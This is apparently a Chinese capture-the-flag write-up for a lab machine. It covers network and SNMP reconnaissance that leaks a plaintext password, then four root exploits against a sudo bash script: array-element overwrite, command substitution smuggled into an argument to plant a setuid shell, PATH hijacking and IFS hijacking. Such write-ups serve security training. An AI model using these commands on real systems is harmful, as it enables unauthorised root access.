信息收集

主机发现

```
┌──(root㉿xhhui)-[~/Desktop/xhh/113]
└─# arp-scan -I eth1 -l
Interface: eth1, type: EN10MB, MAC: 00:0c:29:6f:75:99, IPv4: 192.168.56.247
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:13       (Unknown: locally administered)
192.168.56.100  08:00:27:0c:54:bd       PCS Systemtechnik GmbH
192.168.56.171  08:00:27:d2:9f:a5       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.020 seconds (126.73 hosts/sec). 3
responded
```

端口扫描

```
┌──(root㉿xhhui)-[~/Desktop/xhh/113]
└─# nmap -p- 192.168.56.171
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-21 11:43 CST
Nmap scan report for 192.168.56.171 (192.168.56.171)
Host is up (0.00042s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:D2:9F:A5 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.90 seconds
```

Web -- 80

```
┌──(root㉿xhhui)-[~/Desktop/xhh/113]
└─# curl 192.168.56.171
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Mazesec welcome u</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            background-color: #f5f5f5;
```

```
            font-family: Arial, sans-serif;
        }

        .quote {
            font-size: 2.5rem;
            text-align: center;
            color: #333;
            padding: 20px;
            max-width: 800px;
        }
    </style>
</head>
<body>
    <div class="quote">
        The quieter you become, the more you are able to hear.
    </div>
</body>
</html>
```

没啥信息，也没有扫出什么目录

端口扫描 -- UDP

```
┌──(root㉿xhhui)-[~/Desktop/xhh/113]
└─# nmap -sU --top-ports 100 192.168.56.171
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-21 11:49 CST
Nmap scan report for 192.168.56.171 (192.168.56.171)
Host is up (0.0011s latency).
Not shown: 98 closed udp ports (port-unreach)
PORT    STATE         SERVICE
68/udp  open|filtered dhcpc
161/udp open          snmp
MAC Address: 08:00:27:D2:9F:A5 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 109.88 seconds
```

发现开启了snmp

To welcome

SNMP信息枚举

```
┌──(root㉿xhhui)-[~/Desktop/xhh/113]
└─# snmpwalk -v2c -c public 192.168.56.171 | grep "pass"
iso.3.6.1.2.1.25.4.2.1.4.401 = STRING: "service --user welcome --password
mMOq2WWONQiiY8TinSRF --host localhost --port 8080"
iso.3.6.1.2.1.25.6.3.1.2.13 = STRING: "base-passwd_3.5.46_amd64"
iso.3.6.1.2.1.25.6.3.1.2.478 = STRING: "passwd_1:4.5-1.1_amd64"
```

To root

常规查看sudo

```
welcome@113:~$ sudo -l
Matching Defaults entries for welcome on 113:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on 113:
    (ALL) NOPASSWD: /opt/113.sh
```

查看脚本内容

```
welcome@113:~$ cat /opt/113.sh
#!/bin/bash

sandbox=$(mktemp -d)
cd $sandbox

if [ "$#" -ne 3 ];then
        exit
fi

if [ "$3" != "mazesec" ]
then
        echo "\$3 must be mazesec"
        exit
else
        /bin/cp /usr/bin/mazesec $sandbox
        exec_="$sandbox/mazesec"
fi

if [ "$1" = "exec_" ];then
        exit
fi

declare -- "$1"="$2"
$exec_
```

方案一：变量的数组特性（语法特性）

在 bash 里，当你声明一个普通变量时，它实际上被存储为一个数组的第一个元素（索引为 0）。

```
welcome@113:~$ sudo /opt/113.sh 'exec_[0]' 'su' mazesec
root@113:/tmp/tmp.yoYCouO1K7# id
uid=0(root) gid=0(root) groups=0(root)
```

方案二：数组索引解析的命令替换

```
welcome@113:~$ sudo /opt/113.sh 'h[$(cp /bin/bash /tmp/bash;chmod +s
/tmp/bash)]' 'xhh' mazesec
flag{fakeroot-77f669fb6a3b4d727ebc03c153a4a523}
welcome@113:~$ ls -al /tmp/bash
-rwsr-sr-x 1 root root 1168776 Jan 21 09:09 /tmp/bash
welcome@113:~$ /tmp/bash -p
bash-5.0# id
uid=1000(welcome) gid=1000(welcome) euid=0(root) egid=0(root)
groups=0(root),1000(welcome)
```

方案三：PATH劫持

```
welcome@113:~$ echo '/usr/bin/cp /bin/bash /tmp/bash_from_awk' > /tmp/awk
welcome@113:~$ echo '/usr/bin/chmod +s /tmp/bash_from_awk' >> /tmp/awk
welcome@113:~$ cat /tmp/awk
/usr/bin/cp /bin/bash /tmp/bash_from_awk
/usr/bin/chmod +s /tmp/bash_from_awk
welcome@113:~$ chmod +x /tmp/awk
welcome@113:~$ sudo /opt/113.sh 'PATH' '/tmp' mazesec
/tmp/tmp.fOKEhglPg2/mazesec: line 3: md5sum: command not found
flag{fakeroot-}
welcome@113:~$ ls -al /tmp/bash*
-rwsr-sr-x 1 root root 1168776 Jan 21 09:09 /tmp/bash
-rwsr-sr-x 1 root root 1168776 Jan 21 09:20 /tmp/bash_from_awk
welcome@113:~$ /tmp/bash_from_awk -p
bash_from_awk-5.0# id
uid=1000(welcome) gid=1000(welcome) euid=0(root) egid=0(root)
groups=0(root),1000(welcome)
```

方案四：IFS字符级劫持

```
welcome@113:~$ echo 'su' > /tmp/tmp
welcome@113:~$ chmod +x /tmp/tmp
welcome@113:~$ sudo /opt/113.sh 'IFS' '.' mazesec
root@113:/tmp/tmp.nrKsObdiaQ# id
uid=0(root) gid=0(root) groups=0(root)
```